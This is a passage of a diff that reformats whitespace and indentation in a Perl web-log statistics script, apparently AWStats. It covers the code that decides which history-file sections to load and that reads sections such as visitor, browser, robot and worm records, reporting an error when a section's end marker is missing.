+ || ( $HTMLOutput{'main'} && $ShowOSStats )
+ || $HTMLOutput{'osdetail'} )
{
$SectionsToLoad{'os'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowBrowsersStats )
- || $HTMLOutput{'browserdetail'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowBrowsersStats )
+ || $HTMLOutput{'browserdetail'} )
{
$SectionsToLoad{'browser'} = $order++;
}
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
$SectionsToLoad{'unknownrefererbrowser'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
{
$SectionsToLoad{'screensize'} = $order++;
}
# Referers
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowOriginStats )
- || $HTMLOutput{'origin'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowOriginStats )
+ || $HTMLOutput{'origin'} )
{
$SectionsToLoad{'origin'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowOriginStats )
- || $HTMLOutput{'refererse'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowOriginStats )
+ || $HTMLOutput{'refererse'} )
{
$SectionsToLoad{'sereferrals'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowOriginStats )
- || $HTMLOutput{'refererpages'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowOriginStats )
+ || $HTMLOutput{'refererpages'} )
{
$SectionsToLoad{'pagerefs'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
- || $HTMLOutput{'keyphrases'}
- || $HTMLOutput{'keywords'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
+ || $HTMLOutput{'keyphrases'}
+ || $HTMLOutput{'keywords'} )
{
$SectionsToLoad{'searchwords'} = $order++;
}
$SectionsToLoad{'keywords'} = $order++;
} # If we update, dont need to load
# Others
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowMiscStats ) )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowMiscStats ) )
{
$SectionsToLoad{'misc'} = $order++;
}
if (
- $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'}
- && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
- || $HTMLOutput{'errors'}
+ $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'}
+ && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
+ || $HTMLOutput{'errors'}
)
{
$SectionsToLoad{'errors'} = $order++;
$SectionsToLoad{"sider_$_"} = $order++;
}
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowClusterStats ) )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowClusterStats ) )
{
$SectionsToLoad{'cluster'} = $order++;
}
foreach ( 1 .. @ExtraName - 1 ) {
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
- || $HTMLOutput{"allextra$_"} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
+ || $HTMLOutput{"allextra$_"} )
{
$SectionsToLoad{"extra_$_"} = $order++;
}
if ($Debug) {
debug(
- " List of sections marked for load : "
- . join(
- ' ',
- (
- sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
- keys %SectionsToLoad
- )
- ),
- 2
+ " List of sections marked for load : "
+ . join(
+ ' ',
+ (
+ sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
+ keys %SectionsToLoad
+ )
+ ),
+ 2
);
debug(
- " List of sections marked for save : "
- . join(
- ' ',
- (
- sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
- keys %SectionsToSave
- )
- ),
- 2
+ " List of sections marked for save : "
+ . join(
+ ' ',
+ (
+ sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
+ keys %SectionsToSave
+ )
+ ),
+ 2
);
}
my $filetowrite = '';
my $filetoread = '';
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
- && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
+ && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
{
# tmp history file was already flushed
if ($withread) {
open( HISTORY, $filetoread )
|| error( "Couldn't open file \"$filetoread\" for read: $!",
- "", "", $MigrateStats );
+ "", "", $MigrateStats );
binmode HISTORY
; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
}
if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
{
if ( !$FirstTime{$date}
- || $FirstTime{$date} > int( $field[1] ) )
+ || $FirstTime{$date} > int( $field[1] ) )
{
$FirstTime{$date} = int( $field[1] );
}
}
next;
}
- if ($field[0] eq 'LastUpdate'
- || $field[0] eq "${xmlrb}LastUpdate")
+ if ( $field[0] eq 'LastUpdate'
+ || $field[0] eq "${xmlrb}LastUpdate" )
{
- if (! $LastUpdate) { $LastUpdate=int($field[1]); };
+ if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
next;
}
- if ( $field[0] eq 'TotalVisits'
- || $field[0] eq "${xmlrb}TotalVisits" )
+ if ( $field[0] eq 'TotalVisits'
+ || $field[0] eq "${xmlrb}TotalVisits" )
{
if ( !$withupdate ) {
$MonthVisits{ $year . $month } += int( $field[1] );
}
next;
}
- if ( $field[0] eq 'TotalUnique'
- || $field[0] eq "${xmlrb}TotalUnique" )
+ if ( $field[0] eq 'TotalUnique'
+ || $field[0] eq "${xmlrb}TotalUnique" )
{
if ( !$withupdate ) {
$MonthUnique{ $year . $month } += int( $field[1] );
}
next;
}
- if ( $field[0] eq 'MonthHostsKnown'
- || $field[0] eq "${xmlrb}MonthHostsKnown" )
+ if ( $field[0] eq 'MonthHostsKnown'
+ || $field[0] eq "${xmlrb}MonthHostsKnown" )
{
if ( !$withupdate ) {
$MonthHostsKnown{ $year . $month } += int( $field[1] );
}
next;
}
- if ( $field[0] eq 'MonthHostsUnknown'
- || $field[0] eq "${xmlrb}MonthHostsUnknown" )
+ if ( $field[0] eq 'MonthHostsUnknown'
+ || $field[0] eq "${xmlrb}MonthHostsUnknown" )
{
if ( !$withupdate ) {
$MonthHostsUnknown{ $year . $month } += int( $field[1] );
next;
}
if (
- (
- $field[0] eq 'END_GENERAL'
- || $field[0] eq "${xmleb}END_GENERAL"
- )
+ (
+ $field[0] eq 'END_GENERAL'
+ || $field[0] eq "${xmleb}END_GENERAL"
+ )
)
{
if ($Debug) { debug(" End of GENERAL section"); }
delete $SectionsToLoad{'general'};
if ( $SectionsToSave{'general'} ) {
Save_History( 'general', $year, $month, $date, $lastlinenb,
- $lastlineoffset, $lastlinechecksum );
+ $lastlineoffset, $lastlinechecksum );
delete $SectionsToSave{'general'};
}
if ( !scalar %SectionsToLoad ) {
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_MISC'
- || $field[0] eq "${xmleb}END_MISC"
- || !$_ );
- if ( $field[0] ne 'END_MISC'
- && $field[0] ne "${xmleb}END_MISC" )
+ } until ( $field[0] eq 'END_MISC'
+ || $field[0] eq "${xmleb}END_MISC"
+ || !$_ );
+ if ( $field[0] ne 'END_MISC'
+ && $field[0] ne "${xmleb}END_MISC" )
{
error(
"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of MISC section ($count entries, $countloaded loaded)"
+ debug(
+" End of MISC section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'misc'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_CLUSTER'
- || $field[0] eq "${xmleb}END_CLUSTER"
- || !$_ );
- if ( $field[0] ne 'END_CLUSTER'
- && $field[0] ne "${xmleb}END_CLUSTER" )
+ } until ( $field[0] eq 'END_CLUSTER'
+ || $field[0] eq "${xmleb}END_CLUSTER"
+ || !$_ );
+ if ( $field[0] ne 'END_CLUSTER'
+ && $field[0] ne "${xmleb}END_CLUSTER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of CLUSTER section ($count entries, $countloaded loaded)"
+ debug(
+" End of CLUSTER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'cluster'};
{ # Test on ne '' because field[0] is '0' for hour 0)
$count++;
if ( $SectionsToLoad{'time'} ) {
- if ( $withupdate
- || $MonthRequired eq 'all'
- || $MonthRequired eq "$month" )
+ if ( $withupdate
+ || $MonthRequired eq 'all'
+ || $MonthRequired eq "$month" )
{ # Still required
$countloaded++;
if ( $field[1] ) {
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_TIME'
- || $field[0] eq "${xmleb}END_TIME"
- || !$_ );
- if ( $field[0] ne 'END_TIME'
- && $field[0] ne "${xmleb}END_TIME" )
+ } until ( $field[0] eq 'END_TIME'
+ || $field[0] eq "${xmleb}END_TIME"
+ || !$_ );
+ if ( $field[0] ne 'END_TIME'
+ && $field[0] ne "${xmleb}END_TIME" )
{
error(
"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of TIME section ($count entries, $countloaded loaded)"
+ debug(
+" End of TIME section ($count entries, $countloaded loaded)"
);
}
$MonthPages{ $year . $month } += $monthpages;
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_ORIGIN'
- || $field[0] eq "${xmleb}END_ORIGIN"
- || !$_ );
- if ( $field[0] ne 'END_ORIGIN'
- && $field[0] ne "${xmleb}END_ORIGIN" )
+ } until ( $field[0] eq 'END_ORIGIN'
+ || $field[0] eq "${xmleb}END_ORIGIN"
+ || !$_ );
+ if ( $field[0] ne 'END_ORIGIN'
+ && $field[0] ne "${xmleb}END_ORIGIN" )
{
error(
"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of ORIGIN section ($count entries, $countloaded loaded)"
+ debug(
+" End of ORIGIN section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'origin'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_DAY'
- || $field[0] eq "${xmleb}END_DAY"
- || !$_ );
+ } until ( $field[0] eq 'END_DAY'
+ || $field[0] eq "${xmleb}END_DAY"
+ || !$_ );
if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
{
error(
);
}
if ($Debug) {
- debug( " End of DAY section ($count entries, $countloaded loaded)"
+ debug(
+" End of DAY section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'day'};
$MonthUnique{ $year . $month }++;
}
if ( $MonthRequired ne 'all' ) {
- if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
- && $field[0] !~ /^[0-9A-F]*:/i )
+ if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
+ && $field[0] !~ /^[0-9A-F]*:/i )
{
$MonthHostsKnown{ $year . $month }++;
}
if ( $withupdate && $_waithost_e{ $field[0] } ) {
my $timehostl = int( $field[4] || 0 );
my $timehosts = int( $field[5] || 0 );
- my $newtimehosts =
- ( $_waithost_s{ $field[0] }
+ my $newtimehosts = (
+ $_waithost_s{ $field[0] }
? $_waithost_s{ $field[0] }
- : $_host_s{ $field[0] } );
- my $newtimehostl =
- ( $_waithost_l{ $field[0] }
+ : $_host_s{ $field[0] }
+ );
+ my $newtimehostl = (
+ $_waithost_l{ $field[0] }
? $_waithost_l{ $field[0] }
- : $_host_l{ $field[0] } );
+ : $_host_l{ $field[0] }
+ );
if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
if ($Debug) {
debug(
if ( $timehosts && $timehostl ) {
$_session{
GetSessionRange( $timehosts,
- $timehostl )
+ $timehostl )
}++;
}
if ( $_waithost_s{ $field[0] } ) {
# First session found in log was followed by another one so it's finished
$_session{
GetSessionRange( $newtimehosts,
- $newtimehostl )
+ $newtimehostl )
}++;
}
# First session found in log was followed by another one so it's finished
$_session{
GetSessionRange(
- MinimumButNoZero(
- $timehosts, $newtimehosts
- ),
- $timehostl > $newtimehostl
- ? $timehostl
- : $newtimehostl
+ MinimumButNoZero(
+ $timehosts, $newtimehosts
+ ),
+ $timehostl > $newtimehostl
+ ? $timehostl
+ : $newtimehostl
)
}++;
}
# Load records
- if ( $readvisitorforbackward != 2
- && $SectionsToLoad{'visitor'} )
+ if ( $readvisitorforbackward != 2
+ && $SectionsToLoad{'visitor'} )
{ # if readvisitorforbackward==2 we do not load
my $loadrecord = 0;
if ($withupdate) {
$loadrecord = 1;
}
else {
- if ( $HTMLOutput{'allhosts'}
- || $HTMLOutput{'lasthosts'} )
+ if ( $HTMLOutput{'allhosts'}
+ || $HTMLOutput{'lasthosts'} )
{
if (
- (
- !$FilterIn{'host'}
- || $field[0] =~ /$FilterIn{'host'}/i
- )
- && ( !$FilterEx{'host'}
- || $field[0] !~
- /$FilterEx{'host'}/i )
+ (
+ !$FilterIn{'host'}
+ || $field[0] =~ /$FilterIn{'host'}/i
+ )
+ && ( !$FilterEx{'host'}
+ || $field[0] !~
+ /$FilterEx{'host'}/i )
)
{
$loadrecord = 1;
}
}
- elsif ( $MonthRequired eq 'all'
- || $field[2] >= $MinHit{'Host'} )
+ elsif ($MonthRequired eq 'all'
+ || $field[2] >= $MinHit{'Host'} )
{
if (
$HTMLOutput{'unknownip'}
&& ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
- || $field[0] =~ /^[0-9A-F]*:/i )
+ || $field[0] =~ /^[0-9A-F]*:/i )
)
{
$loadrecord = 1;
}
elsif (
- $HTMLOutput{'main'}
- && ( $MonthRequired eq 'all'
- || $countloaded <
- $MaxNbOf{'HostsShown'} )
+ $HTMLOutput{'main'}
+ && ( $MonthRequired eq 'all'
+ || $countloaded <
+ $MaxNbOf{'HostsShown'} )
)
{
$loadrecord = 1;
if ($withupdate)
{ # field[5] field[6] are used only for update
if ( $field[5]
- && !$_host_s{ $field[0] } )
+ && !$_host_s{ $field[0] } )
{
$_host_s{ $field[0] } =
int( $field[5] );
}
if ( $field[6]
- && !$_host_u{ $field[0] } )
+ && !$_host_u{ $field[0] } )
{
$_host_u{ $field[0] } = $field[6];
}
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_VISITOR'
- || $field[0] eq "${xmleb}END_VISITOR"
- || !$_ );
- if ( $field[0] ne 'END_VISITOR'
- && $field[0] ne "${xmleb}END_VISITOR" )
+ } until ( $field[0] eq 'END_VISITOR'
+ || $field[0] eq "${xmleb}END_VISITOR"
+ || !$_ );
+ if ( $field[0] ne 'END_VISITOR'
+ && $field[0] ne "${xmleb}END_VISITOR" )
{
error(
"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of VISITOR section ($count entries, $countloaded loaded)"
+ debug(
+" End of VISITOR section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'visitor'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_UNKNOWNIP'
- || $field[0] eq "${xmleb}END_UNKNOWNIP"
- || !$_ );
- if ( $field[0] ne 'END_UNKNOWNIP'
- && $field[0] ne "${xmleb}END_UNKNOWNIP" )
+ } until ( $field[0] eq 'END_UNKNOWNIP'
+ || $field[0] eq "${xmleb}END_UNKNOWNIP"
+ || !$_ );
+ if ( $field[0] ne 'END_UNKNOWNIP'
+ && $field[0] ne "${xmleb}END_UNKNOWNIP" )
{
error(
"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of UNKOWNIP section ($count entries, $countloaded loaded)"
+ debug(
+" End of UNKOWNIP section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'visitor'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_LOGIN'
- || $field[0] eq "${xmleb}END_LOGIN"
- || !$_ );
- if ( $field[0] ne 'END_LOGIN'
- && $field[0] ne "${xmleb}END_LOGIN" )
+ } until ( $field[0] eq 'END_LOGIN'
+ || $field[0] eq "${xmleb}END_LOGIN"
+ || !$_ );
+ if ( $field[0] ne 'END_LOGIN'
+ && $field[0] ne "${xmleb}END_LOGIN" )
{
error(
"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of LOGIN section ($count entries, $countloaded loaded)"
+ debug(
+" End of LOGIN section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'login'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_DOMAIN'
- || $field[0] eq "${xmleb}END_DOMAIN"
- || !$_ );
- if ( $field[0] ne 'END_DOMAIN'
- && $field[0] ne "${xmleb}END_DOMAIN" )
+ } until ( $field[0] eq 'END_DOMAIN'
+ || $field[0] eq "${xmleb}END_DOMAIN"
+ || !$_ );
+ if ( $field[0] ne 'END_DOMAIN'
+ && $field[0] ne "${xmleb}END_DOMAIN" )
{
error(
"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of DOMAIN section ($count entries, $countloaded loaded)"
+ debug(
+" End of DOMAIN section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'domain'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_SESSION'
- || $field[0] eq "${xmleb}END_SESSION"
- || !$_ );
- if ( $field[0] ne 'END_SESSION'
- && $field[0] ne "${xmleb}END_SESSION" )
+ } until ( $field[0] eq 'END_SESSION'
+ || $field[0] eq "${xmleb}END_SESSION"
+ || !$_ );
+ if ( $field[0] ne 'END_SESSION'
+ && $field[0] ne "${xmleb}END_SESSION" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of SESSION section ($count entries, $countloaded loaded)"
+ debug(
+" End of SESSION section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'session'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_OS'
- || $field[0] eq "${xmleb}END_OS"
- || !$_ );
+ } until ( $field[0] eq 'END_OS'
+ || $field[0] eq "${xmleb}END_OS"
+ || !$_ );
if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
error(
"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of OS section ($count entries, $countloaded loaded)"
+ debug(
+" End of OS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'os'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_BROWSER'
- || $field[0] eq "${xmleb}END_BROWSER"
- || !$_ );
- if ( $field[0] ne 'END_BROWSER'
- && $field[0] ne "${xmleb}END_BROWSER" )
+ } until ( $field[0] eq 'END_BROWSER'
+ || $field[0] eq "${xmleb}END_BROWSER"
+ || !$_ );
+ if ( $field[0] ne 'END_BROWSER'
+ && $field[0] ne "${xmleb}END_BROWSER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of BROWSER section ($count entries, $countloaded loaded)"
+ debug(
+" End of BROWSER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'browser'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_UNKNOWNREFERER'
- || $field[0] eq "${xmleb}END_UNKNOWNREFERER"
- || !$_ );
- if ( $field[0] ne 'END_UNKNOWNREFERER'
- && $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
+ } until ( $field[0] eq 'END_UNKNOWNREFERER'
+ || $field[0] eq "${xmleb}END_UNKNOWNREFERER"
+ || !$_ );
+ if ( $field[0] ne 'END_UNKNOWNREFERER'
+ && $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
+ debug(
+" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'unknownreferer'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
- || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
- || !$_ );
- if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER'
- && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
+ } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
+ || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
+ || !$_ );
+ if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER'
+ && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
+ debug(
+" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'unknownrefererbrowser'};
if ( $SectionsToSave{'unknownrefererbrowser'} ) {
Save_History( 'unknownrefererbrowser',
- $year, $month, $date );
+ $year, $month, $date );
delete $SectionsToSave{'unknownrefererbrowser'};
if ($withpurge) { %_unknownrefererbrowser_l = (); }
}
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_SCREENSIZE'
- || $field[0] eq "${xmleb}END_SCREENSIZE"
- || !$_ );
- if ( $field[0] ne 'END_SCREENSIZE'
- && $field[0] ne "${xmleb}END_SCREENSIZE" )
+ } until ( $field[0] eq 'END_SCREENSIZE'
+ || $field[0] eq "${xmleb}END_SCREENSIZE"
+ || !$_ );
+ if ( $field[0] ne 'END_SCREENSIZE'
+ && $field[0] ne "${xmleb}END_SCREENSIZE" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of SCREENSIZE section ($count entries, $countloaded loaded)"
+ debug(
+" End of SCREENSIZE section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'screensize'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_ROBOT'
- || $field[0] eq "${xmleb}END_ROBOT"
- || !$_ );
- if ( $field[0] ne 'END_ROBOT'
- && $field[0] ne "${xmleb}END_ROBOT" )
+ } until ( $field[0] eq 'END_ROBOT'
+ || $field[0] eq "${xmleb}END_ROBOT"
+ || !$_ );
+ if ( $field[0] ne 'END_ROBOT'
+ && $field[0] ne "${xmleb}END_ROBOT" )
{
error(
"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of ROBOT section ($count entries, $countloaded loaded)"
+ debug(
+" End of ROBOT section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'robot'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_WORMS'
- || $field[0] eq "${xmleb}END_WORMS"
- || !$_ );
- if ( $field[0] ne 'END_WORMS'
- && $field[0] ne "${xmleb}END_WORMS" )
+ } until ( $field[0] eq 'END_WORMS'
+ || $field[0] eq "${xmleb}END_WORMS"
+ || !$_ );
+ if ( $field[0] ne 'END_WORMS'
+ && $field[0] ne "${xmleb}END_WORMS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of WORMS section ($count entries, $countloaded loaded)"
+ debug(
+" End of WORMS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'worms'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_EMAILSENDER'
- || $field[0] eq "${xmleb}END_EMAILSENDER"
- || !$_ );
- if ( $field[0] ne 'END_EMAILSENDER'
- && $field[0] ne "${xmleb}END_EMAILSENDER" )
+ } until ( $field[0] eq 'END_EMAILSENDER'
